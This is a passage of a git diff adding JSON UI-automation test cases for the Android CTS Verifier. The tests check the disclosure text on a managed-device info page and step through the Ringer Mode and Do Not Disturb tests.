organization's admin.\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"To provide access to your work data, your organization may change settings and install software on your device.\\n\\nFor more details, contact your organization's admin.\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":530.75,\"x2\":346.0,\"y2\":632.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":21.0,\"y\":13.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"To provide access to your work data, your organization may change settings and install software on your device.\\n\\nFor more details, contact your organization's admin.\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":530.75,\"x2\":360.0,\"y2\":632.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":183.5,\"y\":568.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-3.5,\"y\":13.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"d3b28057-3ed5-43c8-8db5-1157cc016e24\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"To provide access to your work data, your organization may change settings and install software on your device.\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":50.0,\"y1\":542.0,\"x2\":317.0,\"y2\":594.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify info \\\"See data associated with  your work account\\\"\",\"actionId\":\"211d2e56-e118-41ad-9673-7816528a98e7\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Data associated with your work account, such as email and calendar\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b0fe3c83-410f-4bb3-ace5-04a5236d98d2\",\"displayText\":\"Data associated with your work account, such as email and calendar\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"d7222fc3-3e3d-4853-9b17-d8ef7787bead\",\"displayText\":\"Data associated with your work account, such as email and calendar\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"c6e6b8b4-c23f-4baa-bc0c-ccdcf92a9faa\",\"displayText\":\"Data associated with your work account, such as email and calendar\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Data associated with your work account, such as email and calendar\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":128.75,\"x2\":346.0,\"y2\":165.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":20.5,\"y\":2.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Data associated with your work account, such as email and calendar\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":114.75,\"x2\":346.0,\"y2\":179.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Data associated with your work account, such as email and calendar\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":114.75,\"x2\":360.0,\"y2\":179.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":184.0,\"y\":145.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-4.0,\"y\":2.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"c6e6b8b4-c23f-4baa-bc0c-ccdcf92a9faa\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Data associated with your work account, such as email and calendar\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":57.0,\"y1\":124.0,\"x2\":311.0,\"y2\":166.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify info \\\"See the list of all apps on your device\\\"\",\"actionId\":\"fc9059d1-b37b-45a2-8ca7-99b05b769348\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"List of apps on your device\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"703946fa-94ca-48e9-b33c-8920c76a50a8\",\"displayText\":\"List of apps on your device\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b8d44f5f-9601-4937-8ac9-8ddbc969614b\",\"displayText\":\"List of apps on your device\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"55fba905-5b97-420e-b126-6b529526e936\",\"displayText\":\"List of apps on your device\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"List of apps on your device\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":193.25,\"x2\":231.5,\"y2\":212.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-2.75,\"y\":0.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"List of apps on your device\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":179.25,\"x2\":346.0,\"y2\":226.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"List of apps on your device\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":179.25,\"x2\":360.0,\"y2\":226.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":150.0,\"y\":202.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":30.0,\"y\":0.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"55fba905-5b97-420e-b126-6b529526e936\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"List of apps on your device\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":54.0,\"y1\":188.0,\"x2\":246.0,\"y2\":216.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify info  \\\"See usage of each app on your device\\\"\",\"actionId\":\"e4efcea3-6ad0-464f-bd0b-afbcf4f0f8f0\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Amount of time and data spent in each app\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b2a0e5c7-995d-4a7f-996d-a69140cb0922\",\"displayText\":\"Amount of time and data spent in each app\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b8f58dfb-a58a-4f77-a6ae-e718a3c060ba\",\"displayText\":\"Amount of time and data spent in each app\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"d228f0c4-e050-4e01-9cbb-40e03172e50e\",\"displayText\":\"Amount of time and data spent in each app\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Amount of time and data spent in each app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":240.25,\"x2\":335.25,\"y2\":259.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-0.375,\"y\":1.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Amount of time and data spent in each app\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":226.25,\"x2\":346.0,\"y2\":273.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Amount of time and data spent in each app\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":226.25,\"x2\":360.0,\"y2\":273.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":199.5,\"y\":248.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-19.5,\"y\":1.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"d228f0c4-e050-4e01-9cbb-40e03172e50e\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Amount of time and data spent in each app\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":58.0,\"y1\":227.0,\"x2\":341.0,\"y2\":270.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify info \\\"Lock the device and change the password\\\"\",\"actionId\":\"391cf53a-7958-467a-b7c2-f6aa84b7394a\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Admin can lock the device and reset password\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"dd47862a-d5fb-4ca2-803f-d3e9c8f80f7c\",\"displayText\":\"Admin can lock the device and reset password\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a99d00e9-0d76-46a5-852d-1614a2516bdd\",\"displayText\":\"Admin can lock the device and reset password\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"54178a9d-5bd0-402f-9346-81e8939b7267\",\"displayText\":\"Admin can lock the device and reset password\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Admin can lock the device and reset password\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":433.25,\"x2\":346.0,\"y2\":469.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":32.5,\"y\":3.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Admin can lock the device and reset password\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":419.25,\"x2\":346.0,\"y2\":483.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Admin can lock the device and reset password\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":419.25,\"x2\":360.0,\"y2\":483.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":172.0,\"y\":448.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":8.0,\"y\":3.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"54178a9d-5bd0-402f-9346-81e8939b7267\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Admin can lock the device and reset password\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":51.0,\"y1\":433.0,\"x2\":293.0,\"y2\":464.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify info \\\"Wipe the device\\\"\",\"actionId\":\"77aadbb5-af44-4660-ac06-ff85662742d0\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Admin can delete all device data\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"748a0e5c-7bc7-4c61-b599-e656d02e6eff\",\"displayText\":\"Admin can delete all device data\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7a8ef27c-35b5-471e-8e04-62c484c26e25\",\"displayText\":\"Admin can delete all device data\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"72df370a-b541-4cac-9532-6c75f3e39725\",\"displayText\":\"Admin can delete all device data\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Admin can delete all device data\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":497.75,\"x2\":267.75,\"y2\":516.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-3.125,\"y\":-2.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Admin can delete all device data\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":483.75,\"x2\":346.0,\"y2\":530.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Admin can delete all device data\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":483.75,\"x2\":360.0,\"y2\":530.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":168.5,\"y\":510.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":11.5,\"y\":-2.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"72df370a-b541-4cac-9532-6c75f3e39725\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Admin can delete all device data\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":56.0,\"y1\":495.0,\"x2\":281.0,\"y2\":525.0}}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"00eec9fe-38c1-487b-bad3-79619a31b2eb\",\"880cf89a-bcfc-4a96-97cb-cd5a8233078c\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"f000f871-0742-48aa-bad4-48643644873a\",\"6fbdafc5-0eae-4f25-a708-0a024d50708a\",\"26bc1a0e-fc9d-46ac-85c1-57b408918948\",\"3917a71b-06f3-431e-bdd7-c6613b8c6665\",\"00443cad-52a2-4c72-863d-c39b18c1d908\",\"211d2e56-e118-41ad-9673-7816528a98e7\",\"fc9059d1-b37b-45a2-8ca7-99b05b769348\",\"e4efcea3-6ad0-464f-bd0b-afbcf4f0f8f0\",\"391cf53a-7958-467a-b7c2-f6aa84b7394a\",\"77aadbb5-af44-4660-ac06-ff85662742d0\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-01-Managed device info page","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.167000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/13c45392-93fc-4bf8-8983-fd7be6dc8af6 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/13c45392-93fc-4bf8-8983-fd7be6dc8af6
new file mode 100644
index 0000000..be66ad9
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/13c45392-93fc-4bf8-8983-fd7be6dc8af6
@@ -0,0 +1 @@
+{"uuid":"13c45392-93fc-4bf8-8983-fd7be6dc8af6","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Ringer Mode Tests\",\"actionId\":\"13c45392-93fc-4bf8-8983-fd7be6dc8af6\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Ringer Mode Tests\",\"actionId\":\"eb50ad51-1c79-4427-b067-4278a14be337\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Ringer Mode Tests\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"26bf41ab-2300-44f8-a241-41a9aeb5e755\",\"displayText\":\"Ringer Mode Tests\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Ringer Mode Tests\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":442.6666666666667,\"x2\":350.6666666666667,\"y2\":486.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":78.0,\"y\":463.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":102.0,\"y\":1.1666666666666856,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"26bf41ab-2300-44f8-a241-41a9aeb5e755\",\"firstText\":\"Ringer Mode Tests\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Ringer Mode Tests\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":6.0,\"y1\":443.0,\"x2\":150.0,\"y2\":484.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Ringer Mode Tests\",\"actionId\":\"43a0c94a-55e9-46d6-9a0d-761e40e2de37\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Ringer Mode Tests\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"1cd4f6c8-2abb-4210-ba54-390e8484b324\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"0cd6f856-494c-4adb-a424-ad8f9716de8e\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"LongClickAction\",\"name\":\"Do Not Disturb\",\"actionId\":\"25c6ff54-e004-4c3b-b74c-ff1da5f49ece\",\"actionType\":\"LONG_CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":{\"uuid\":\"34d064b3-7700-46be-b0c6-bd427466b06f\",\"displayText\":\"Do Not Disturb\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"9519cb92-5b66-4a97-a7f6-9595deb25962\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"f9032696-bd61-43d6-850a-bba28ad4513e\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7f1ae1dc-df5a-49d4-aca3-9c83835dceeb\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":266.3333333333333,\"y1\":159.66666666666666,\"x2\":310.3333333333333,\"y2\":181.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.view.ViewGroup\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":266.3333333333333,\"y1\":159.66666666666666,\"x2\":310.3333333333333,\"y2\":181.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"7cc22197-0fff-478e-9a73-243ccc55ff59\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":268.0,\"y1\":150.33333333333334,\"x2\":308.3333333333333,\"y2\":190.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":266.3333333333333,\"y1\":148.66666666666666,\"x2\":310.3333333333333,\"y2\":192.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"8674e3f1-ee44-4745-bbe9-24be666a2b73\",\"displayText\":\"Do Not Disturb\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"0983e884-d2a7-4b31-953b-64b801879f93\",\"displayText\":\"Do Not Disturb\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"61ce980a-6847-4c6f-95da-a620b7359267\",\"displayText\":\"Do Not Disturb\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.systemui:id/tile_label\",\"text\":\"Do Not Disturb\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":251.33333333333334,\"y1\":203.66666666666666,\"x2\":325.3333333333333,\"y2\":218.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":1.3333333333333144,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Do Not Disturb\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.systemui:id/label_group\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":242.33333333333334,\"y1\":203.66666666666666,\"x2\":334.3333333333333,\"y2\":218.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Do Not Disturb\"}],\"className\":\"android.widget.Button\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":242.33333333333334,\"y1\":192.66666666666666,\"x2\":334.3333333333333,\"y2\":236.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Do Not Disturb\"}],\"className\":\"android.widget.Switch\",\"text\":\"On\",\"contentDesc\":\"Do Not Disturb., \",\"checked\":true,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":242.33333333333334,\"y1\":148.66666666666666,\"x2\":334.3333333333333,\"y2\":246.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":287.0,\"y\":210.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":1.3333333333333144,\"y\":-12.666666666666686,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"61ce980a-6847-4c6f-95da-a620b7359267\",\"firstText\":\"\"},\"isRawXY\":false,\"duration\":2000},{\"type\":\"ClickAction\",\"name\":\"Click Action, Alarms & other 